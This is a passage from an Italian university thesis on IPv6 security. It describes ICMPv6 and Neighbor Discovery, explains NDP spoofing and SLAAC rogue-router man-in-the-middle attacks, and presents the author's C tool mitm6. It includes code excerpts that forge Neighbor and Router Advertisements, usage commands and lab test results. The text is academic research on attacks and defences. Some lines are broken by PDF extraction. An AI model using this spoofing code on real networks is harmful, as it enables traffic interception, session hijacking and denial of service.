Analogamente a quanto si verifica per la versione 4, questi messaggi sono
utilizzati per informare il mittente che qualcosa, nella trasmissione di un pacchetto, non è andata a buon fine. L’ICMPv6 definisce 4 messaggi di errore:
destination unreachable messages, packet too big messages, time exeeded
messages, parameter problem messages.
2.5.1.1
Destination Unreachable
Questo messaggio di errore viene adoperato per informare il mittente che non
è possibile recapitare il messaggio al destinatario.
Il formato del messaggio è il seguente:
CAPITOLO 2. IPV6
22
Figura 2.11: ICMPv6 Destination Unreachable Message
dove:
• type (1 byte), rappresenta il tipo di messaggio, in questo caso è
settato a 1.
• code (1 byte), identifica il sottotipo di messaggio, (cfr. la Tabella 2.2
per una lista completa).
• checksum (2 byte), utilizzato per il controllo di errori.
• unused (4 byte), campo vuoto e non utilizzato, settato a 0.
• original datagram portion (variabile), parte del datagramma IPv6
che può essere adattato senza che la dimensione del messaggio ICMPv6
(includendo quello proprio dell’IP header) ecceda la minima MTU di
1280 byte.
CAPITOLO 2. IPV6
Codice
Messaggio
0
No route to destination
1
Communication with
destination
administratively prohibited
3
Address unreachable
4
Port unreachable
23
Descrizione
Indica che il datagramma non può essere
recapitato poiché non esiste alcuna route
verso di essa
Indica che il datagramma non può essere
recapitato a destinazione poiché viene
filtrato
Indica che non è possibile recapitare il
messaggio al mittente scelto
La porta di destinazione (UDP o TCP)
scelta non è valida
Tabella 2.2: ICMPv6 Unreachable Message Subtypes
2.5.1.2
Packet Too Big
Viene inviato dai router per informare che la dimensione del pacchetto è
troppo grande rispetto alla capienza del link (MTU). Quando un host riceve
questo messaggio di errore deve frammentare il pacchetto. L’header è formato
dai seguenti campi:
Figura 2.12: ICMPv6 Packet Too Big Message
dove:
settato a 2.
• code (1 byte), non usato per questo messaggio e viene impostato a 0.
CAPITOLO 2. IPV6
24
• mtu (4 byte), indica la dimensione dell’MTU (Maximum Transfer
Unit), in byte, del link fisico su cui deve essere inviato il pacchetto.
1280 byte.
2.5.1.3
Time Exceeded
Viene utilizzato in due contesti distinti: quando il campo HopLimit ha valore
0, il pacchetto viene scartato oppure quando il destinatario deve riassemblare un pacchetto frammentato e qualche frammento si perde. Il formato
dell’header è il seguente:
Figura 2.13: ICMPv6 Time Exceeded Message
dove:
settato a 3.
• code (1 byte), identifica il sottotipo di messaggio: 0 indica che il
campo HopLimit è 0, mentre 1 indica che è avvenuto il timeout per
il riassemblamento di un pacchetto (uno o più frammenti sono andati
persi).
CAPITOLO 2. IPV6
25
• checksum (2 byte), impiegato per il controllo di errori.
• unused (4 byte), campo vuoto e non utilizzato, settato a 0.
1280 byte.
2.5.1.4
Parameter Problem
Rappresenta un messaggio di errore generico. Sostanzialmente indica che il
dispositivo che sta processando il pacchetto ha incontrato un errore grave,
quindi, è costretto a scartarlo. L’header è formato nel seguente modo:
Figura 2.14: ICMPv6 Parameter Problem Message
dove:
settato a 4.
• code (1 byte), identifica il sottotipo di messaggio, ovvero il tipo di
problema.
• pointer (4 byte), contiene l’offset che punta alla posizione (in byte)
del datagramma originale che ha causato l’errore.
CAPITOLO 2. IPV6
26
1280 byte.
Codice
0
1
2
Messaggio
Erroneous header field
encountered
Unrecognized next header
type encountered
Unrecognized IPv6 option
encountered
Descrizione
Indica che un campo dell’header contiene
un errore o non può essere processato
Indica che il valore per il next header è
sconosciuto
Indica che è stata individuata un’opzione
IPv6 sconosciuta
Tabella 2.3: ICMPv6 Parameter Problem Message Subtypes
2.5.2
Messaggi informativi
I messaggi appartenenti a questa sezione sono utilizzati per riportare informazioni riguardo a test di connettività della rete.
2.5.2.1
Echo Request e Echo Reply
Questi due messaggi sono molto simili a quelli definiti dall’ICMPv4. Entrambi utilizzano lo stesso header:
Figura 2.15: ICMPv6 Echo Request and Echo Reply message format
dove:
CAPITOLO 2. IPV6
27
• type (1 byte), rappresenta il tipo di messaggio. Il suo valore è settato
a 128 per il messaggio Echo Request e a 129 per il messaggio Echo
Reply.
• code (1 byte), non utilizzato e impostato a 0.
• identifier (2 byte), campo opzionale che può essere di aiuto nel
confronto tra i messaggi Echo Request ed Echo Reply.
• sequence number (2 byte), utilizzato nel confronto tra i messaggi
Echo Request ed Echo Reply.
• optional data (variabile), viene riempito con dati aggiuntivi. Se i
dati vengono inseriti in un messaggio Echo Request, il contenuto del
seguente campo viene ricopiato nel messaggio Echo Reply che viene
re-inviato al mittente.
CAPITOLO 2. IPV6
2.5.2.2
28
Router Advertisement
Figura 2.16: ICMPv6 Router Advertisement Message
dove:
a 134.
• current Hop Limit (1 byte), contiene il valore, raccomandato dal
router (che invia il pacchetto), del campo Hop Limit presente nell’header
IPv6. Se il valore del campo è pari a 0, il router non raccomanda alcun
Hop Limit.
• autoconfig flags (1 byte), con questo campo si informa l’host del
modo in cui avviene l’autoconfigurazione nella rete locale. (Cfr. tabella
sottostante)
CAPITOLO 2. IPV6
29
• router lifetime (2 byte), indica all’host per quanto tempo il router
deve essere considerato come default. Se settato a 0, significa che il
router corrente non deve essere impiegato come default.
• reachable time (4 byte), tempo massimo, in millisecondi, per cui un
host dovrebbe considerare un host vicino come raggiungibile dopo aver
ricevuto una conferma di raggiungibilità.
• retrasmission timer (4 byte), quantità di tempo, in millisecondi,
che un host dovrebbe attendere prima di ritrasmettere un messaggio di
Neigbor Solicitation.
• options (variabile), può contenere tre possibili opzioni: Source-LinkLayer Adress, MTU, Prefix Information.
Nome
Dimesione
M
1 bit
O
1 bit
Reserved
6 bit
Descrizione
Managed Address Autoconfiguration Flag: se settato
indica all’host di utilizzare un metodo stateful per
l’autoconfigurazione (come il DHCP)
Other Stateful Configuration Flag: se settato indica
all’host di utilizzare un metodo stateful per
l’autoconfigurazione dei parametri diversi dagli
indirizzi
Riservato per usi futuri
Tabella 2.4: ICMPv6 Router Advertisement Message Autoconfiguration Flags
CAPITOLO 2. IPV6
2.5.2.3
30
Router Solicitation
Figura 2.17: ICMPv6 Router Solicitation Message
dove:
a 133.
• reserved (4 byte), campo riservato e settato a 0.
• options (variabile), può contenere l’opzione Source Link-Layer Address se l’host che invia il messaggio conosce il proprio indirizzo di
livello 2.
CAPITOLO 2. IPV6
2.5.2.4
31
Neighbor Advertisement
Figura 2.18: ICMPv6 Neighbor Advertisement Message
dove:
a 136.
• flags (4 byte), rappresentano informazioni sul messaggio. (Cfr. tabella sottostante)
• target address (16 byte), se il messaggio Neighbor Advertisement è
inviato in risposta ad un messaggio Neighbor Solicitation, questo campo contiene lo stesso valore contenuto nel campo target address del
CAPITOLO 2. IPV6
32
Neighbor Solicitation. Altrimenti, se il messaggio Neighbor Advertisement viene inviato senza alcuna sollecitazione questo campo contiene
l’indirizzo IPv6 del mittente.
• options (variabile), può contenere l’opzione Source Link-Layer Address se l’host che invia il messaggio conosce il proprio indirizzo di
livello 2.
Nome
Dimesione
R
1 bit
S
1 bit
O
1 bit
Reserved
29 bit
Descrizione
Router flag: settato quando il messaggio viene inviato
da un router
Solicited flag: se settato indica che il messaggio è
inviato in risposta ad un Neighbor Solicitation
Override flag: quando settato, indica che le
informazioni presenti nel messaggio corrente devono
sovrascrivere ogni indirizzo link-layer salvato
Riservato per usi futuri
Tabella 2.5: ICMPv6 Neighbor Advertisement Message Flags
2.5.2.5
Neighbor Solicitation
Figura 2.19: ICMPv6 Neighbor Solicitation Message
CAPITOLO 2. IPV6
33
dove:
a 135.
• riservato (4 byte), riservato per usi futuri e settato a 0.
• target address (16 byte), indirizzo IPv6 dell’host da sollecitare.
• options (variabile), se il mittente conosce sia il proprio indirizzo IPv6
che il proprio indirizzo di livello 2, dovrebbe includere quest’ultimo
all’interno dell’opzione Source Link-Layer Address.
CAPITOLO 2. IPV6
2.5.2.6
34
Redirect
Figura 2.20: ICMPv6 Redirect Message
dove:
a 135.
• riservato (4 byte), riservato per usi futuri e settato a 0.
• target address (16 byte), indirizzo IPv6 dell’host da sollecitare.
CAPITOLO 2. IPV6
35
• options (variabile), se il mittente conosce sia il proprio indirizzo IPv6
che il proprio indirizzo di livello 2, dovrebbe includere quest’ultimo
all’interno dell’opzione Source Link-Layer Address.
2.6
Neighbor Discovery Protocol
I’IPv6 Neighbor Discovery (ND) Protocol [5] è nato per sostituire il venerabile
Address Resolution Protocol (ARP) in IPv4. L’ND Protocol è considerato
un helper protocol per IPv6 e mette a disposizione tutte quelle funzioni che
riguardano la comunicazione tra dispositivi all’interno della stessa rete locale.
Per poter implementare le proprie funzioni, l’ND Protocol adopera i messaggi
del protocollo ICMPv6.
L’RFC 1970 ne specifica cinque: Router Advertisement, Router Solicitation,
Neighbor Advertisement, Neighbor Solicitation e Redirect.
2.6.1
Funzionamento
Lo standard dell’ND Protocol descrive nove funzioni. Per comprenderle
meglio è possibile dividerle in tre gruppi: Host-Router Discovery Function,
Host-Host Discovery Function e Redirect Function.
2.6.1.1
Host-Router Discovery Function
Sono incluse tutte le funzioni per la scoperta del router locale e lo scambio
di informazioni tra router e host. Si distinguono in:
Router Discovery (RD)
Rappresenta la funzione più rilevante di questo gruppo poiché è il metodo
attraverso il quale gli host individuano il router nella rete locale.
Prefix Discovery
Gli host usano questa funzione al fine di determinare la rete in cui si trovano,
per capire se utilizzare un inoltro diretto o indiretto (attraverso un gateway)
dei datagrammi.
CAPITOLO 2. IPV6
36
Parameter Discovery
Attraverso questa funzione, un host acquisisce importanti parametri riguardo la rete locale e/o i router. (Viene impiegata, ad esempio, per conoscere
l’MTU del link locale)
Address Autoconfiguration
Gli host, nelle reti IPv6, sono stati progettati per essere in grado di autoconfigurarsi. I router usano questa funzione per inviare agli host informazioni
inerenti l’autoconfigurazione.
2.6.1.2
Host-Host Communication Function
In questo gruppo sono presenti le funzioni per la comunicazione diretta tra
i nodi della rete, generalmente host, ma alcune funzioni possono essere utilizzate nella comunicazione tra host e router. Da notare che non c’è alcuna
relazione con RD. Sono individuabili le seguenti funzioni:
Address Resolution
Processo attraverso il quale un host determina l’indirizzo di livello 2 di un
altro host, conoscendone solo l’indirizzo di livello 3, nella stessa rete locale.
Questa operazione in IPv4 veniva effettuata dal protocollo ARP.
Next-Hop Determination
Funzione adoperata per determinare a quale dispositivo deve essere inoltrato
il datagramma IP sulla base del suo indirizzo di destinazione.
Neighbor Unreachability Detection
Permette di stabilire se un dispositivo può essere contattato direttamente.
Duplicate Address Detection
Determina se un indirizzo che un dispositivo vorrebbe utilizzare già esiste
nella rete locale.
CAPITOLO 2. IPV6
2.6.1.3
37
Redirect Function
É presente solamente la funzione di redirect. Essa permette ad un router
di informare un host dell’esistenza di un next-hop node migliore per una
particolare destinazione.
Capitolo 3
Attacchi Man in The Middle
3.1
Introduzione
In questo capitolo vengono illustrati gli attacchi di tipo Man in The Middle
(o in forma acronima MiTM) per le reti IPv6. In particolare viene esposta la
modalità con cui è estremamente facile attuare questa tipologia di attacchi,
dirottando il traffico della comunicazione tra due host verso un terzo host,
senza che questi vittima se ne accorga.
Figura 3.1: Attacco “Man In The Middle”
38
CAPITOLO 3. ATTACCHI MAN IN THE MIDDLE
39
Come mostrato dalla figura, l’host attaccante riceve il traffico della comunicazione tra la vittima e il router.
3.2
3.2.1
Attacchi Man in The Middle
NDP spoofing
Quando un host deve inviare un pacchetto ad un secondo host della stessa
rete locale, oltre all’indirizzo IP del destinatario, di cui già dispone, deve
conoscere anche il suo indirizzo MAC. In accordo con quanto visto nel Capitolo 1, la procedura che si esegue per il conseguimento di tale obbiettivo
rimanda al Neighbor Discovery Protocol. In particolare, l’host mittente invia a tutti gli host della rete locale un Neighbor Solicitation Message (NS)
contenente l’indirizzo IP del destinatario (di cui si vuole conoscere l’indirizzo
di livello 2). Il destinatario risponde con un Neighbor Advertisement Message (NA) riportante il proprio indirizzo di livello 2.
Figura 3.2: Scambio messaggi NS ed NA
40
La vulnerabilità sfruttata da questa tecnica consiste nell’impossibilità
di autenticare i messaggi ricevuti. Infatti, come si evince dalla figura riportata in seguito, l’attaccante si pone in ascolto dei messaggi NS, a cui
risponde con un messaggio ND appositamente creato, divenendo tramite della
comunicazione tra i due soggetti principali.
Figura 3.3: Attacco NDP Spoofing
3.2.2
41
SLAAC attack
SLAAC, acronimo di Stateless Address Autoconfiguration, è la tecnica con
cui un host IPv6 si autoconfigura utilizzando una combinazione di informazioni localmente disponibili e informazioni trasmesse dai router. Nello
specifico, un host che deve essere configurato invia un Router Solicitation
Message (RS) all’indirizzo multicast FF02::2, su cui sono in ascolto tutti
i router della rete locale. Ogni singolo router, con cadenza periodica o a
ricezione avvenuta di un RS, invia un Router Advertisement Message (RA)
contenente i parametri di configurazione.
Figura 3.4: Scambio messaggi RS ed RA
Dato che i messaggi RA non sono autenticati, possono essere generati da
chiunque, con la conseguente possibilità di configurare a proprio piacimento
tutti gli host della rete locale.
42
Figura 3.5: SLAAC Attack
Ne segue che l’attaccante, nel caso in esame, giacché invia periodicamente
tali messaggi, può settarsi come gateway di default su tutti gli host della rete
locale.
3.3
Conseguenze
Il risultato più importante cui si perviene applicando la tecnica Man in The
Middle consiste sicuramente nella possibilità di modificare il flusso delle comunicazioni da parte dell’attaccante. Si riportano a seguire le tipologie di
attacco che si possono condurre dopo aver attuato con successo un attacco
Man in The Middle.
3.3.1
Hijacking
L’Hijacking (dall’inglese ”hijack”, dirottare) è un attacco che permette di
intercettare una connessione già stabilita tra due host e di prenderne possesso.
Tale operazione non è affatto semplice da eseguire; basti pensare, a titolo
di esempio, che, nel caso in cui si voglia impadronirsi di una connessione
43
TCP, bisognerebbe conoscere i numeri di sequenza corretti. Tuttavia, dato
che i pacchetti della connessione passano attraverso l’host attaccante, risulta
estremamente facile leggerli; quindi basterà inviare un RST (utilizzando i
giusti numeri di sequenza) da un lato e sincronizzare la connessione dall’altro.
3.3.2
Injection
L’Injecting (dall’inglese ”inject”, iniettare) è l’attacco più potente derivante
da un Man in The Middle, attraverso il quale è possibile aggiungere alla
connessione pacchetti, mantenendo la connessione sincronizzata e attiva tra
le vittime. Nello specifico, si tratta di modificare i numeri di sequenza dei
pacchetti TCP prima che questi vengano inoltrati all’host. Memorizzando i
byte inviati dai due host, con semplici addizioni e sottrazioni si riesce, quindi,
a mantenere la connessione sincronizzata.
3.3.3
Data tampering
Il Data Tampering sfrutta le modalità tramite cui è possibile variare i numeri
di sequenza dei pacchetti TCP per modificare il payload.
3.3.4
Sniffing
Con lo Sniffing (dall’inglese ”sniff”, annusare) è possibile catturare i pacchetti destinati ad altri host, come accade negli attacchi Man in The Middle. L’host attaccante cattura tutti i pacchetti di interesse appartenenti alla
comunicazione tra due o più host.
3.3.5
DoS
Acronimo di Denial of Service (DoS), è un attaco informatico mediante il
quale si cerca di negare un servizio. Nel caso specifico degli attacchi MiTM,
disabilitando il “packet forwarding” si è in grado di indurre al collasso l’intera
rete IPv6.
3.4
44
Contromisure
Ad oggi si conoscono solamente due contromisure, il SEND e l’RA-Guard.
3.4.1
SEND
Il Secure Neighbor Discovery Protocol (SEND) è un’estensione del Neighbor
Discovery Protocol (NDP) ed è definito nella RFC 3971 [8]. L’NDP, del quale
si è trattato in maniera dettagliata nel primo capitolo, è responsabile del discovery dei nodi nella rete locale, della determinazione dell’indirizzo di livello
2 degli altri nodi e dell’individuazione dei router presenti nella rete locale. Il
SEND si pone l’intento di rafforzare la sicurezza dell’NDP mediante l’impiego
della crittografia, in modo del tutto indipendente da IPSec. Tuttavia lo stesso, attualmente, non è ancora in uso giacché risulta molto complesso da
gestire, rallenta notevolmente le performance della rete [3] e non è supportato da alcuno dei moderni sistemi operativi. Per maggiori dettagli riguardanti
il SEND si rimanda alla RFC 3971 [8]
3.4.2
RA-Guard
Il Router Advertisement Guard (RA-Guard) illustrato nella RFC 6105 [15]
si pone lo scopo di risolvere il problema dell’invio dei “Rogue Router Advertisemet Message” RFC 6104 [14]. Per maggiori dettagli si rimanda alla RFC
6105 [15].
3.4.2.1
RA-Guard evasion
Nel Giugno del 2011 è stata presentata alla IETF una “Internet-Draft” [16]
nella quale si evince che, mediante l’utilizzo degli extension header, si può
evadere l’RA-GUARD.
Capitolo 4
Implementazione: mitm6
4.1
Introduzione
Allo scopo di testare e analizzare gli effetti determinati, su una rete IPv6, dall’applicazione delle due tipologie di attacchi viste in precedenza, si è provveduto alla concertazione e implementazione di un programma specifico, denominato mitm6. Scritto in linguaggio C, su OS Linux (perché open source
e in grado di fornire un ambiente di sviluppo ottimale), rilasciato sotto licenza
GPLv3, consta di 500 righe di codice ed è compatibile, al momento, solo con
sistemi operativi analoghi. Nel capitolo in oggetto, vengono descritte le scelte
e le modalità implementative di mitm6, nonché le particolarità esecutive di
NDP Spoofing e SLAAC Attack.
4.2
4.2.1
Librerie utilizzate
Pcap
La libreria Pcap è impiegata per catturare i pacchetti che giungono su una
determinata interfaccia di rete. Mette, inoltre, a disposizione un sistema di
filtraggio dei pacchetti identico a quello di tcpdump.
45
CAPITOLO 4. IMPLEMENTAZIONE: MITM6
4.2.2
46
IPv6LIB
Tale libreria è modellata sulla versione 1.8.0 di THC-IPv6 realizzata da
Van Houser e facente parte del THC IPv6 Toolkit (http://www.thc.org/thcipv6/). Essa mette a disposizione le API per la creazione e l’invio di pacchetti
IPv6.
4.3
Inizializzazione del programma
Il codice demanda all’utente la possibilità di selezionare i diversi parametri
opzionali e specificare l’unico flag obbligatorio (tipologia di attacco).
# mitm6 --help
USAGE: mitm6 [OPTIONS] [ATTACK]
[OPTIONS]
-h, --help
print this help
-v, --version
print version
-i, --iface <iface>
network interface
[ATTACK]
ndp-spoof
slaac [prefix len]
A titolo di esempio, il comando mitm6 -i eth0 ndp-spoof specifica in
eth0 l’interfaccia attraverso cui sniffare e catturare i pacchetti ICMPv6 e
seleziona l’NDP Spoofing come attacco da eseguire. V’è da sottolineare che
l’esecuzione richiede il lancio con permessi di root.
All’avvio, mitm6 inizializza la libreria Pcap settando l’interfaccia tramite
cui catturare i pacchetti.
/* Open the device for capturing */
pcap = pcap_open_live(iface, cap_snaplen, promisc, cap_timeout, errbuf);
if (pcap == NULL) {
fatal(errbuf);
exit(-1);
}
47
Il passo successivo consiste nell’impostare il filtro in modo da sniffare
solamente i pacchetti ICMPv6.
/* Sniff only ICMPv6 packets */
if (pcap_compile(pcap, &fp, "icmp6", 0, PCAP_NETMASK_UNKNOWN) == -1) {
fatal("couldn’t parse filter: %s", pcap_geterr(pcap));
pcap_close(pcap);
return EXIT_FAILURE;
}
if (pcap_setfilter(pcap, &fp) == -1) {
fatal("couldn’t install filter %s", pcap_geterr(pcap));
pcap_freecode(&fp);
pcap_close(pcap);
}
Ultimate le impostazioni preliminari, viene lanciato l’attacco prescelto.
if (strncmp(argv[optind], "ndp-spoof", 9) == 0) {
mitm = 1;
start_ndp_spoof();
} else if (strncmp(argv[optind], "slaac", 5) == 0) {
mitm = 2;
optind++;
if (optind >= argc) {
pcap_freecode(&fp);
pcap_close(pcap);
usage();
}
start_slaac(atoi(argv[optind]));
48
} else {
pcap_freecode(&fp);
pcap_close(pcap);
usage();
}
4.4
4.4.1
Implementazione degli attacchi
NDP Spoofing
L’implementazione dell’NDP Spoofing risulta essere un’operazione estremamente semplice. Dapprima si avvia lo sniffing:
/* Start sniffing */
pcap_loop(pcap, 0, &proc, NULL);
La funzione proc() viene richiamata per ogni messaggio ICMPv6 ricevuto
e controlla che il pacchetto acquisito sia un ICMPv6 Neighbor Solicitation
Message:
if (buf[20] == NXT_ICMP6 && buf[54] == ICMP6_NEIGHBORSOL) {
Successivamente crea il pacchetto di risposta, un ICMPv6 Neighbor Advertisement Message.
packet = thc_create_ipv6(iface, PREFER_LINK, &buflen, buf + 62, buf + 22,
255, 0, 0, 0, 0);
if (packet == NULL) {
fatal("IPv6 packet not created");
return;
}
bzero(icmp_data, sizeof(icmp_data));
memcpy(icmp_data, buf + 62, 16);
49
icmp_data[16] = 2;
icmp_data[17] = 1;
memcpy(icmp_data + 18, mac, 6);
if (thc_add_icmp6(packet, &buflen, ICMP6_NEIGHBORADV, 0,
ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_SOLICIT,
icmp_data, sizeof(icmp_data), 0) < 0) {
fatal("ICMPv6 header not appended");
return;
}
Chiamando con NS l’ICMPv6 Neighbor Solicitation Message ricevuto
e con NA l’ICMPv6 Neighbor Advertisement Message che si vuole creare,
quest’ultimo risulta avere la seguente configurazione:
• NA.src = NS.target
• NA.dst = NS.src
• NA.target = NS.target
Al messaggio NA viene, altresı̀, correlata l’opzione ICMPv6 Target LinkLayer con indirizzo mac quello proprio dell’attaccante.
u_char *mac = thc_get_own_mac(iface);
if (mac == NULL)
fatal("unable to get own mac address for %s iface", iface);
Infine, il messaggio RA viene inviato e ne viene liberata la memoria.
thc_generate_and_send_pkt(iface, mac, buf + 6, packet, &buflen);
packet = thc_destroy_packet(packet);
4.4.2
50
SLAAC Attack
L’attacco in oggetto si articola in due fasi, consistenti, rispettivamente, nell’inviare un Router Advertisement Message ogni 5 secondi e nel rispondere
ad ogni Router Solicitation Message ricevuto. Durante il primo stadio, viene
creato il pacchetto da inoltrare ogni 5 secondi, inserendo in coda le seguenti
opzioni ICMPv6: MTU Option, per la definizione di un valore da assegnare
all’MTU, Prefix Information Option, per la specifica di informazioni sul prefix, Source Link-Layer Address Option, che contiene l’indirizzo di livello 2
del mittente.
packet = thc_create_ipv6(iface, PREFER_LINK, &packet_len, ip, dst,
255, 0, 0, 0, 0);
return;
}
bzero(icmp_data, sizeof(icmp_data));
/* ICMPv6 RA data */
icmp_data[6] = 4;
/* retrans timer */
/* Option MTU */
icmp_data[8] = 5;
icmp_data[9] = 1;
icmp_data[12] = mtu / 16777216;
icmp_data[13] = (mtu % 16777216) / 65536;
icmp_data[14] = (mtu % 65536) / 256;
icmp_data[15] = mtu % 256;
/* Option Prefix Information */
icmp_data[16] = 3;
icmp_data[17] = 4;
51
icmp_data[18] = prefixlen; /* Prefix length */
icmp_data[19] = 128 + 64;
memset(&icmp_data[20], 17, 4);
memset(&icmp_data[24], 4, 4);
memcpy(&icmp_data[32], ip, 16);
/* Option Source Link-Layer Address */
icmp_data[48] = 1;
icmp_data[49] = 1;
memcpy(icmp_data + 50, mac, 6);
if (thc_add_icmp6(packet, &packet_len, ICMP6_ROUTERADV, 0, 0xff080800,
return;
}
if (thc_generate_pkt(iface, mac, dstmac, packet, &packet_len) < 0) {
fatal("packet not generated");
return;
}
Il messaggio sopra riportato utilizza come, destinazione, l’indirizzo multicast FF02::1
u_char *dst = thc_resolve6("FF02::1");
u_char *dstmac = thc_get_multicast_mac(dst);
e, come sorgente, l’indirizzo dell’attaccante
mac = thc_get_own_mac(iface);
ip = thc_get_own_ipv6(iface, NULL, PREFER_LINK);
Il pacchetto, una volta generato, viene inviato ad intervalli temporali di
5 secondi.
52
printf("Starting to advertise (Press Control-C to end) ...\n");
while (work) {
thc_send_pkt(iface, packet, &packet_len);
while (pcap_dispatch(pcap, 1, &send_ra, NULL) > 0);
sleep(5);
}
Nel secondo e ultimo stadio, per ogni Router Solicitation Message ricevuto, viene invocata la funzione send_ra(), la quale risponde tramite un
Router Advertisement Message.
packet = thc_create_ipv6(iface, PREFER_LINK, &packet_len, ip, dst,
255, 0, 0, 0, 0);
return;
}
if (thc_add_icmp6(packet, &packet_len, ICMP6_ROUTERADV, 0, 0xff080800,
return;
}
thc_generate_and_send_pkt(iface, mac, dstmac, packet, &packet_len);
packet = thc_destroy_packet(packet);
Il messaggio di risposta risulta identico a quello creato nella fase antecedente a meno della destinazione:
u_char *dst = (u_char *)bytes + 14 + 8;
u_char *dstmac = (u_char *)bytes + 6;
Capitolo 5
Implementazione ambiente di
test
5.1
Introduzione
La costruzione dell’ambiente di test è stata effettuata impiegando VirtualBox
(www.virtualbox.org) in qualità di software di virtualizzazione per architettura x86. Quest’ultimo supporta Windows, GNU/Linux e Mac OS X come
sistemi operativi host ed è in grado di eseguire Windows, GNU/Linux, OS/2
Warp, OpenBSD e FreeBSD come sistemi operativi guest.
Sono stati condotti e analizzati (singolarmente e nel quadro d’insieme) diversi
test per ciascuna delle tipologie di attacco descritte precedentemente. I grafici
e le informazioni tecniche riportate nel capitolo in esame sono state ottenute
mediante l’applicazione di Wireshark (www.wireshark.org), un software per
analisi di protocollo.
5.2
Strutturazione dell’ambiente di test
Nel caso specifico, VirtualBox emula il comportamento di due macchine guest
(Router, HostA) montanti OS Debian. La macchina attaccante (host) è
caratterizzata dal medesimo sistema operativo.
53
CAPITOLO 5. IMPLEMENTAZIONE AMBIENTE DI TEST
54
Figura 5.1: Ambiente di test
Tutte e tre le macchine virtuali hanno una interfaccia di rete configurata
in modalità bridge.
Figura 5.2: Configurazione macchina virtuale
55
Nel router sono stati installati:
• radvd (Router Advertisement Daemon), un demone open source che
implementa il link-local advertisement, usando il Neighbor Discovery
Protocol (NDP), come definito nella RFC 2461 [5].
Configurazione:
Interface eth0
{
AdvSendAdvert on;
prefix 2001:888:0db8:1::/64 {
AdvOnLink;
AdvAutonomous;
};
};
• wide-dhcpv6s, un server DHCP per IPv6.
Configurazione:
option domain-name-servers 2001:470:20:2;
option domain-name thesis.test;
interface eth0 {
address-pool pool1 3600;
};
pool pool1 {
range 2001:888:0db8:1::1000 to 2001:888:0db8:1::2000;
};
Nella macchina HostA, invece, è stato installato wide-dhcpv6c, un client
DHCP per IPv6.
5.3
56
NDP Spoofing
Una volta attivato il Router e la macchina HostA, occorre anzitutto svuotare
la cache neighbor attraverso il comando ip neigh flush dev eth0.
Definita questa azione preliminare, la comunicazione prende forma. L’HostA
invia una serie di ping al Router. Giacché il primo non conosce l’indirizzo di
livello 2 del secondo, invia un Neighbor Solicitation (a tutti i sistemi della
rete); solo la macchina caratterizzata da quell’indirizzo IP (Router) risponde
con un Neighbor Advertisement.
In condizioni normali (ovvero con mitm6 disattivato) i pacchetti di Neighbor Solicitation e Neighbor Advertisement scambiati sono conformi allo standard e nella cache dell’HostA, risulta riportato l’indirizzo di livello 2 del
Router.
Figura 5.3: Cache senza attaco
Se, invece, il programma viene attivato sulla macchina attaccante, il
Neighbor Solicitation inviato dall’HostA è intercettato da mitm6, il quale
risponde con un Neighbor Advertisement avente come indirizzo di livello 2
quello caratteristico del’attaccante, il medesimo che risulta presente, a questo
punto, all’interno della cache di neighbor, in luogo di quello del Router.
Figura 5.4: Pacchetti scambiati
57
Figura 5.5: Flow graph
Figura 5.6: Cache con attaco
I messaggi tra HostA e Router vengono bypassati dall’attaccante.
Bisogna, altresı̀, precisare che qualora non si abiliti l’IP Forwarding
sulla macchina attaccante, la stessa effettua automaticamente un attacco
DoS nella rete. L’attivazione dell’IP Forwarding si realizza mediante il
comando:
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
5.4
58
SLAAC Attack
Attivato, il Router inizia ad inoltrare Router Advertisement, a cadenza periodica. Una volta che la macchina HostA si è connessa alla rete, la medesima
invia un Router Solicitation per sollecitare l’invio dei parametri di configurazione. Alla ricezione di tale messaggio, il Router risponde con un Router
Advertisement contenente i parametri richiesti.
Figura 5.7: Router Advertisement ricevuti
Se, invece, sulla macchina attaccante viene attivato il programma (con
il seguente comando mitm6 -i eth0 slaac 64), la stessa invia un Router
Advertisement ad intervalli di 5 secondi (analogamente al Router) e alla
ricezione di un Neighbor Solicitation.
Figura 5.8: Router Advertisement inviati dall’attaccante
Conseguentemente, nella tabella di routing dell’HostA, l’attacante risulta
settato come gateway di defauilt.
Figura 5.9: tabella di routing della vittima
Capitolo 6
Conclusioni e sviluppi futuri
Durante questo lavoro di tesi è stato affrontato il problema di sicurezza nelle
reti IPv6, focalizzando l’attenzione sugli attacchi MiTM, in particolare NDP
Spoofing e SLAAC Attack.
Si è posta in evidenza la reale pericolosità di tali attacchi (derivante dall’impossibilità di autenticare i messaggi inviati dai sistemi della rete) e la
totale assenza di un sistema di protezione. L’unica soluzione plausibile per
fronteggiare quest’ultimo problema risiede nel SEND, ma questo, oltre a non
essere ancora supportato da nessuno dei moderni sistemi operativi, in quanto
non ancora implementato, incide negativamente sulle prestazioni della rete;
basti pensare che per il processamento di un messaggio ICMPv6 che usi il
SEND occorrono circa 76 ms a fronte degli 0,34 ms impiegati senza adoperare
il SEND.
Al fine di sperimentare la pericolosità dei suddetti attacchi e osservare i flussi di comunicazione tra gli elementi della rete interessata dalle minacce, è
stato sviluppato mitm6. Tra le migliorie che potranno essere applicate al
programma, al fine di conferire al medesimo una rispondenza ottimale alle
problematiche che ha per oggetto, si annoverano l’implementazione dell’attacco in direzione opposta nell’NDP Spoofing e il porting per altri sistemi
operativi.
In futuro potranno, altresı̀, essere condotti nuovi test incentrati su altre
tipologie di attacco, quali, a titolo d’esempio, ICMPv6 Redirect, DaD DoS e
59
CAPITOLO 6. CONCLUSIONI E SVILUPPI FUTURI
60
traslare le stesse su piattaforme basate su tecnologie “Mobile IPv6 (MIPv6)”.
Appendice A
GNU Free Documentation License
Version 1.3, 3 November 2008
c 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc.
Copyright http://fsf.org/
Everyone is permitted to copy and distribute verbatim copies of this license
document, but changing it is not allowed.
Preamble
The purpose of this License is to make a manual, textbook, or other functional
and useful document “free” in the sense of freedom: to assure everyone the
effective freedom to copy and redistribute it, with or without modifying it,
either commercially or noncommercially. Secondarily, this License preserves
for the author and publisher a way to get credit for their work, while not
being considered responsible for modifications made by others.
This License is a kind of “copyleft”, which means that derivative works
of the document must themselves be free in the same sense. It complements
the GNU General Public License, which is a copyleft license designed for free
software.
We have designed this License in order to use it for manuals for free
software, because free software needs free documentation: a free program
61
APPENDICE A. GNU FREE DOCUMENTATION LICENSE
62
should come with manuals providing the same freedoms that the software
does. But this License is not limited to software manuals; it can be used
for any textual work, regardless of subject matter or whether it is published
as a printed book. We recommend this License principally for works whose
purpose is instruction or reference.
A.1
Applicability and definitions
This License applies to any manual or other work, in any medium, that
